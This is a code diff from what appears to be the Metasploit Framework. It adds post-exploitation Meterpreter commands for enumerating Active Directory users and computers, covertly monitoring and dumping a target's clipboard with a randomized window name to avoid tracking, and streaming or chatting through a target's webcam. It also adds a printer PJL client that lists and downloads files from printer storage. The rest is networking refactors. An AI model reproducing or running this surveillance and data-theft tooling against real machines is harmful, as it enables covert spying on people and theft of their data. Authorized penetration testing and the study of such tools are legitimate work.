=> "Enumerate all computers on the specified domain.", + "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." + } + end + + # + # Name for this dispatcher + # + def name + "Extapi: ADSI Management" + end + + # + # Options for the adsi_user_enum command. + # + @@adsi_user_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_user_enum_usage + print( + "\nUsage: adsi_user_enum [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the users on the target domain.\n\n" + + "Enumeration returns information such as the user name, SAM account name, locked\n" + + "status, desc, and comment.\n" + + @@adsi_user_enum_opts.usage) + end + + # + # Enumerate domain users. + # + def cmd_adsi_user_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_user_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=user)" + fields = [ + "samaccountname", + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_computer_enum command. + # + @@adsi_computer_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_computer_enum_usage + print( + "\nUsage: adsi_computer_enum [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the computers on the target domain.\n\n" + + "Enumeration returns information such as the computer name, desc, and comment.\n" + + @@adsi_computer_enum_opts.usage) + end + + # + # Enumerate domain computers. + # + def cmd_adsi_computer_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_computer_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=computer)" + fields = [ + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_domain_query command. + # + @@adsi_domain_query_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_domain_query_usage + print( + "\nUsage: adsi_domain_query [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + + "Enumerate the objects on the target domain.\n\n" + + "Enumeration returns the set of fields that are specified.\n" + + @@adsi_domain_query_opts.usage) + end + + # + # Enumerate domain objects. + # + def cmd_adsi_domain_query(*args) + page_size = DEFAULT_PAGE_SIZE + max_results = DEFAULT_MAX_RESULTS + + args.unshift("-h") if args.length < 3 + + @@adsi_domain_query_opts.parse(args) { |opt, idx, val| + case opt + when "-p" + page_size = val.to_i + when "-m" + max_results = val.to_i + when "-h" + adsi_domain_query_usage + return true + end + } + + # Assume that the flags are passed in at the end. Safe? + switch_index = args.index { |a| a.start_with?("-") } + if switch_index + args = args.first(switch_index) + end + + domain = args.shift + filter = args.shift + + objects = client.extapi.adsi.domain_query(domain, filter, max_results, page_size, args) + + table = Rex::Ui::Text::Table.new( + 'Header' => "#{domain} Objects", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => objects[:fields] + ) + + objects[:results].each do |c| + table << c + end + + print_line + print_line(table.to_s) + + print_line("Total objects: #{objects[:results].length}") + + print_line + + return true + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 8a95288ae1..199cad709c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -5,7 +5,6 @@ module Rex module Post module Meterpreter module Ui - ### # # Extended API window management user interface. @@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard" + "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the target's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the active clipboard monitor", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor", + "clipboard_monitor_dump" => "Dump all captured clipboard content", + "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard # @@get_data_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ] ) def print_clipboard_get_data_usage print( "\nUsage: clipboard_get_data [-h] [-d]\n\n" + - "Attempts to read the data from the victim's clipboard. If the data is in a\n" + + "Attempts to read the data from the target's clipboard. If the data is in a\n" + "supported format, it is read and returned to the user.\n" + @@get_data_opts.usage + "\n") end # - # Get the data from the victim's clipboard + # Get the data from the target's clipboard # def cmd_clipboard_get_data(*args) download_content = false @@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def clipboard_set_text_usage + def print_clipboard_set_text_usage print( "\nUsage: clipboard_set_text [-h] \n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard @@set_text_opts.parse(args) { |opt, idx, val| case opt when "-h" - clipboard_set_text_usage + print_clipboard_set_text_usage return true end } - return client.extapi.clipboard.set_text(args.join(" ")) + return client.extapi.clipboard.set_text(args.join(" ")) end -protected + # + # Options for the clipboard_monitor_start command. + # + @@monitor_start_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Capture image content when monitoring (default: true)" ] + ) + + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage + print( + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + + "the clipboard on the target, under the context of the current desktop, and when\n" + + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") + end + + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true + + @@monitor_start_opts.parse(args) { |opt, idx, val| + case opt + when "-i" + # default this to true + capture_images = val.downcase != 'false' + when "-h" + print_clipboard_monitor_start_usage + return true + end + } + + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + + print_good("Clipboard monitor started") + end + + # + # Options for the clipboard_monitor_purge command. + # + @@monitor_purge_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_purge command. + # + def print_clipboard_monitor_purge_usage + print("\nUsage: clipboard_monitor_purge [-h]\n\n" + + "Purge the captured contents from the monitor. This does not stop\n" + + "the monitor from running, it just removes captured content.\n\n" + + @@monitor_purge_opts.usage + "\n") + end + + # + # Purge the clipboard monitor captured contents + # + def cmd_clipboard_monitor_purge(*args) + @@monitor_purge_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_purge_usage + return true + end + } + client.extapi.clipboard.monitor_purge + print_good("Captured clipboard contents purged successfully") + end + + # + # Options for the clipboard_monitor_pause command. + # + @@monitor_pause_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_pause command. + # + def print_clipboard_monitor_pause_usage + print("\nUsage: clipboard_monitor_pause [-h]\n\n" + + "Pause the currently running clipboard monitor thread.\n\n" + + @@monitor_pause_opts.usage + "\n") + end + + # + # Pause the clipboard monitor captured contents + # + def cmd_clipboard_monitor_pause(*args) + @@monitor_pause_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_pause_usage + return true + end + } + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused successfully") + end + + # + # Options for the clipboard_monitor_resumse command. + # + @@monitor_resume_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_resume command. + # + def print_clipboard_monitor_resume_usage + print("\nUsage: clipboard_monitor_resume [-h]\n\n" + + "Resume the currently paused clipboard monitor thread.\n\n" + + @@monitor_resume_opts.usage + "\n") + end + + # + # resume the clipboard monitor captured contents + # + def cmd_clipboard_monitor_resume(*args) + @@monitor_resume_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_resume_usage + return true + end + } + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed successfully") + end + + # + # Options for the clipboard_monitor_dump command. + # + @@monitor_dump_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_dump command. + # + def print_clipboard_monitor_dump_usage + print( + "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" + + "Dump the capture clipboard contents to the local machine..\n\n" + + @@monitor_dump_opts.usage + "\n") + end + + # + # Dump the clipboard monitor contents to the local machine. + # + def cmd_clipboard_monitor_dump(*args) + purge = true + download_images = true + download_files = true + download_path = nil + + @@monitor_dump_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-p" + purge = val.downcase != 'false' + when "-h" + print_clipboard_monitor_dump_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_dump({ + :include_images => download_images, + :purge => purge + }) + + parse_dump(dump, download_images, download_files, download_path) + + print_good("Clipboard monitor dumped") + end + + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@monitor_stop_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -182,17 +377,64 @@ protected if stat.directory? client.fs.dir.download( dest, source, true, true ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } elsif stat.file? client.fs.file.download( dest, source ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if (get_images || get_files) && !::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |ts, elements| + elements.each do |type, v| + title = "#{type} captured at #{ts}" + under = "=" * title.length + print_line(title) + print_line(under) + + case type + when 'Text' + print_line(v) + + when 'Files' + total = 0 + v.each do |f| + print_line("Remote Path : #{f[:name]}") + print_line("File size : #{f[:size]} bytes") + if get_files + download_file( loot_dir, f[:name] ) + end + print_line + total += f[:size] + end + + when 'Image' + print_line("Dimensions : #{v[:width]} x #{v[:height]}") + if get_images and !v[:data].nil? + file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join(loot_dir, file) + path = ::File.expand_path(path) + ::File.open(path, 'wb') do |x| + x.write v[:data] + end + print_line("Downloaded : #{path}") + end + end + print_line(under) + print_line + end + end + end + end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d1526ba1ff..6ac989c899 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -22,13 +22,17 @@ class Console::CommandDispatcher::Stdapi::Webcam # def commands all = { + "webcam_chat" => "Start a video chat", "webcam_list" => "List webcams", "webcam_snap" => "Take a snapshot from the specified webcam", + "webcam_stream" => "Play a video stream from the specified webcam", "record_mic" => "Record audio from the default microphone for X seconds" } reqs = { + "webcam_chat" => [ "webcam_list" ], "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], + "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "record_mic" => [ "webcam_audio_record" ], } @@ -102,12 +106,15 @@ class Console::CommandDispatcher::Stdapi::Webcam rescue end if wc_list.length > 0 - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - client.webcam.webcam_stop - print_status("Stopped") + begin + print_status("Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop + print_status("Stopped") + end if( data ) ::File.open( path, 'wb' ) do |fd| @@ -124,6 +131,166 @@ class Console::CommandDispatcher::Stdapi::Webcam end end + def cmd_webcam_chat(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + + server = 'wsnodejs.jit.su:80' + + webcam_chat_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner"], + "-s" => [ false, "WebSocket server" ] + ) + + webcam_chat_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_chat [options]\n" ) + print_line( "Starts a video conversation with your target." ) + print_line( "Browser Requirements:") + print_line( "Chrome: version 23 or newer" ) + print_line( "Firefox: version 22 or newer" ) + print_line( webcam_chat_opts.usage ) + return + when "-s" + server = val.to_s + end + } + + + begin + print_status("Webcam chat session initialized.") + client.webcam.webcam_chat(server) + rescue RuntimeError => e + print_error(e.message) + end + end + + def cmd_webcam_stream(*args) + print_status("Starting...") + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + player_path = Rex::Text.rand_text_alpha(8) + ".html" + duration = 1800 + quality = 50 + view = true + index = 1 + wc_list = [] + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The stream quality (Default: '#{quality}')" ], + "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], + "-t" => [ true, "The stream player path (Default: #{player_path})"], + "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_stream [options]\n" ) + print_line( "Stream from the specified webcam." ) + print_line( webcam_snap_opts.usage ) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_status("Preparing player...") + html = %Q| + + + +Metasploit webcam_stream - #{client.sock.peerhost} + + + + +
+Target IP  : #{client.sock.peerhost}
+Start time : #{Time.now}
+Status     : 
+
+
+ +

+www.metasploit.com + + + | + + ::File.open(player_path, 'wb') do |f| + f.write(html) + end + if view + print_status("Opening player at: #{player_path}") + Rex::Compat.open_file(player_path) + else + print_status("Please open the player manually with a browser: #{player_path}") + end + + print_status("Streaming...") + begin + client.webcam.webcam_start(index) + ::Timeout.timeout(duration) { + while client do + data = client.webcam.webcam_get_frame(quality) + if data + ::File.open(stream_path, 'wb') do |f| + f.write(data) + end + data = nil + end + end + } + rescue ::Timeout::Error + ensure + client.webcam.webcam_stop + end + + print_status("Stopped") + end + def cmd_record_mic(*args) path = Rex::Text.rand_text_alpha(8) + ".wav" play = true diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ecb4eb873d..06fdaa9265 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -180,15 +180,15 @@ class Client timeout = (t.nil? or t == -1) ? 0 : t self.conn = Rex::Socket::Tcp.create( - 'PeerHost' => self.hostname, - 'PeerPort' => self.port.to_i, - 'LocalHost' => self.local_host, - 'LocalPort' => self.local_port, - 'Context' => self.context, - 'SSL' => self.ssl, - 'SSLVersion'=> self.ssl_version, - 'Proxies' => self.proxies, - 'Timeout' => timeout + 'PeerHost' => self.hostname, + 'PeerPort' => self.port.to_i, + 'LocalHost' => self.local_host, + 'LocalPort' => self.local_port, + 'Context' => self.context, + 'SSL' => self.ssl, + 'SSLVersion' => self.ssl_version, + 'Proxies' => self.proxies, + 'Timeout' => timeout ) end @@ -703,7 +703,6 @@ class Client # Auth attr_accessor :username, :password - # When parsing the request, thunk off the first response from the server, since junk attr_accessor :junk_pipeline diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 8aeb61087a..71f1c1a8ae 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'uri' require 'rex/proto/http' module Rex @@ -107,6 +108,25 @@ class Response < Packet end end + # Answers if the response is a redirection one. + # + # @return [Boolean] true if the response is a redirection, false otherwise. + def redirect? + [301, 302, 303, 307, 308].include?(code) + end + + # Provides the uri of the redirection location. + # + # @return [URI] the uri of the redirection location. + # @return [nil] if the response hasn't a Location header or it isn't a valid uri. + def redirection + begin + URI(headers['Location']) + rescue ::URI::InvalidURIError + nil + end + end + # # Returns the response based command string. # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 3c25440881..ca0ed82ec8 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -100,17 +100,17 @@ class Server # Initializes an HTTP server as listening on the provided port and # hostname. # - def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil) - self.listen_host = listen_host - self.listen_port = port - self.ssl = ssl - self.context = context - self.comm = comm - self.ssl_cert = ssl_cert - - self.listener = nil - self.resources = {} - self.server_name = DefaultServer + def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, ssl_compression = false) + self.listen_host = listen_host + self.listen_port = port + self.ssl = ssl + self.context = context + self.comm = comm + self.ssl_cert = ssl_cert + self.ssl_compression = ssl_compression + self.listener = nil + self.resources = {} + self.server_name = DefaultServer end # More readable inspect that only shows the url and resources @@ -146,6 +146,7 @@ class Server 'Context' => self.context, 'SSL' => self.ssl, 'SSLCert' => self.ssl_cert, + 'SSLCompression' => self.ssl_compression, 'Comm' => self.comm ) @@ -268,7 +269,8 @@ class Server cli.send_response(resp) end - attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert + attr_accessor :listen_port, :listen_host, :server_name, :context, :comm + attr_accessor :ssl, :ssl_cert, :ssl_compression attr_accessor :listener, :resources protected diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb new file mode 100644 index 0000000000..5b771e8417 --- /dev/null +++ b/lib/rex/proto/pjl.rb @@ -0,0 +1,30 @@ +# https://en.wikipedia.org/wiki/Printer_Job_Language +# See external links for PJL spec + +module Rex::Proto::PJL + + require "rex/proto/pjl/client" + + DEFAULT_PORT = 9100 + DEFAULT_TIMEOUT = 5 + + COUNT_MAX = 2_147_483_647 + SIZE_MAX = 2_147_483_647 + + UEL = "\e%-12345X" # Universal Exit Language + PREFIX = "@PJL" + + module Info + ID = "#{PREFIX} INFO ID" + STATUS = "#{PREFIX} INFO STATUS" + VARIABLES = "#{PREFIX} INFO VARIABLES" + FILESYS = "#{PREFIX} INFO FILESYS" + end + + RDYMSG = "#{PREFIX} RDYMSG" + + FSINIT = "#{PREFIX} FSINIT" + FSDIRLIST = "#{PREFIX} FSDIRLIST" + FSUPLOAD = "#{PREFIX} FSUPLOAD" + +end diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb new file mode 100644 index 0000000000..0a85245af2 --- /dev/null +++ b/lib/rex/proto/pjl/client.rb @@ -0,0 +1,162 @@ +# https://en.wikipedia.org/wiki/Printer_Job_Language +# See external links for PJL spec + +module Rex::Proto::PJL +class Client + + attr_reader :sock + + def initialize(sock) + @sock = sock + end + + # Begin a PJL job + # + # @return [void] + def begin_job + @sock.put("#{UEL}#{PREFIX}\n") + end + + # End a PJL job + # + # @return [void] + def end_job + @sock.put(UEL) + end + + # Send an INFO request and read the response + # + # @param category [String] INFO category + # @return [String] INFO response + def info(category) + categories = { + :id => Info::ID, + :status => Info::STATUS, + :variables => Info::VARIABLES, + :filesys => Info::FILESYS + } + + unless categories.has_key?(category) + raise ArgumentError, "Unknown INFO category" + end + + @sock.put("#{categories[category]}\n") + @sock.get(DEFAULT_TIMEOUT) + end + + # Get version information + # + # @return [String] Version information + def info_id + id = nil + + if info(:id) =~ /"(.*?)"/m + id = $1 + end + + id + end + + # Get environment variables + # + # @return [String] Environment variables + def info_variables + env_vars = nil + + if info(:variables) =~ /#{Info::VARIABLES}\r?\n(.*?)\f/m + env_vars = $1 + end + + env_vars + end + + # List volumes + # + # @return [String] Volume listing + def info_filesys + filesys = nil + + if info(:filesys) =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m + filesys = $1 + end + + filesys + end + + # Get the ready message + # + # @return [String] Ready message + def get_rdymsg + rdymsg = nil + + if info(:status) =~ /DISPLAY="(.*?)"/m + rdymsg = $1 + end + + rdymsg + end + + # Set the ready message + # + # @param message [String] Ready message + # @return [void] + def set_rdymsg(message) + @sock.put(%Q{#{RDYMSG} DISPLAY = "#{message}"\n}) + end + + # Initialize a volume + # + # @param volume [String] Volume + # @return [void] + def fsinit(volume) + if volume !~ /^[0-2]:$/ + raise ArgumentError, "Volume must be 0:, 1:, or 2:" + end + + @sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n}) + end + + # List a directory + # + # @param pathname [String] Pathname + # @param count [Fixnum] Number of entries to list + # @return [String] Directory listing + def fsdirlist(pathname, count = COUNT_MAX) + if pathname !~ /^[0-2]:/ + raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + end + + listing = nil + + @sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m + listing = $1 + end + + listing + end + + # Download a file + # + # @param pathname [String] Pathname + # @param size [Fixnum] Size of file + # @return [String] File as a string + def fsupload(pathname, size = SIZE_MAX) + if pathname !~ /^[0-2]:/ + raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + end + + file = nil + + @sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m + file = $1 + end + + file + end + +end +end diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index da18b87f81..e68a0263a6 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -155,89 +155,52 @@ module Socket end end + # Get the first address returned by a DNS lookup for +hostname+. # - # Wrapper for Resolv.getaddress that takes special care to see if the - # supplied address is already a dotted quad, for instance. This is - # necessary to prevent calls to gethostbyaddr (which occurs on windows). - # These calls can be quite slow. This also fixes an issue with the - # Resolv.getaddress() call being non-functional on Ruby 1.9.1 (Win32). + # @see .getaddresses # - def self.getaddress(addr, accept_ipv6 = true) - begin - if addr =~ MATCH_IPV4 or (accept_ipv6 and addr =~ MATCH_IPV6) - return addr - end - - res = ::Socket.gethostbyname(addr) - return nil if not res - - # Shift the first three elements out - rname = res.shift - ralias = res.shift - rtype = res.shift - - # Rubinius has a bug where gethostbyname returns dotted quads instead of - # NBO, but that's what we want anyway, so just short-circuit here. - if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6 - res.each { |r| - # if the caller doesn't mind ipv6, just return whatever we have - return r if accept_ipv6 - # otherwise, take the first v4 address - return r if r =~ MATCH_IPV4 - } - # didn't find one - return nil - end - - # Reject IPv6 addresses if we don't accept them - if not accept_ipv6 - res.reject!{|nbo| nbo.length != 4} - end - - # Make sure we have at least one name - return nil if res.length == 0 - - # Return the first address of the result - self.addr_ntoa( res[0] ) - rescue ::ArgumentError # Win32 bug - nil - end + # @param (see .getaddresses) + # @return [String] ASCII IP address + def self.getaddress(hostname, accept_ipv6 = true) + getaddresses(hostname, accept_ipv6).first end # - # Wrapper for Resolv.getaddress that takes special care to see if the - # supplied address is already a dotted quad, for instance. This is - # necessary to prevent calls to gethostbyaddr (which occurs on windows). - # These calls can be quite slow. This also fixes an issue with the - # Resolv.getaddress() call being non-functional on Ruby 1.9.1 (Win32). + # Wrapper for +::Socket.gethostbyname+ that takes special care to see if the + # supplied address is already an ASCII IP address. This is necessary to + # prevent blocking while waiting on a DNS reverse lookup when we already + # have what we need. # - def self.getaddresses(addr, accept_ipv6 = true) - begin - if addr =~ MATCH_IPV4 or (accept_ipv6 and addr =~ MATCH_IPV6) - return [addr] - end - - res = ::Socket.gethostbyname(addr) - return [] if not res - - # Shift the first three elements out - rname = res.shift - ralias = res.shift - rtype = res.shift - - # Reject IPv6 addresses if we don't accept them - if not accept_ipv6 - res.reject!{|nbo| nbo.length != 4} - end - - # Make sure we have at least one name - return [] if res.length == 0 - - # Return an array of all addresses - res.map{ |addr| self.addr_ntoa(addr) } - rescue ::ArgumentError # Win32 bug - [] + # @param hostname [String] A hostname or ASCII IP address + # @return [Array] + def self.getaddresses(hostname, accept_ipv6 = true) + if hostname =~ MATCH_IPV4 or (accept_ipv6 and hostname =~ MATCH_IPV6) + return [hostname] end + + res = ::Socket.gethostbyname(hostname) + return [] if not res + + # Shift the first three elements out, leaving just the list of + # addresses + res.shift # name + res.shift # alias hostnames + res.shift # address_family + + # Rubinius has a bug where gethostbyname returns dotted quads instead of + # NBO, but that's what we want anyway, so just short-circuit here. + if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6 + unless accept_ipv6 + res.reject!{ |ascii| ascii =~ MATCH_IPV6 } + end + else + unless accept_ipv6 + res.reject!{ |nbo| nbo.length != 4 } + end + res.map!{ |nbo| self.addr_ntoa(nbo) } + end + + res end # @@ -252,7 +215,9 @@ module Socket end if is_ipv6?(host) - host, scope_id = host.split('%', 2) + # pop off the scopeid since gethostbyname isn't smart enough to + # deal with it. + host, _ = host.split('%', 2) end ::Socket.gethostbyname(host) @@ -361,17 +326,12 @@ module Socket # # Converts an integer address into ascii # + # @param (see #addr_iton) + # @return (see #addr_ntoa) def self.addr_itoa(addr, v6=false) - nboa = addr_iton(addr, v6) - # IPv4 - if (addr < 0x100000000 and not v6) 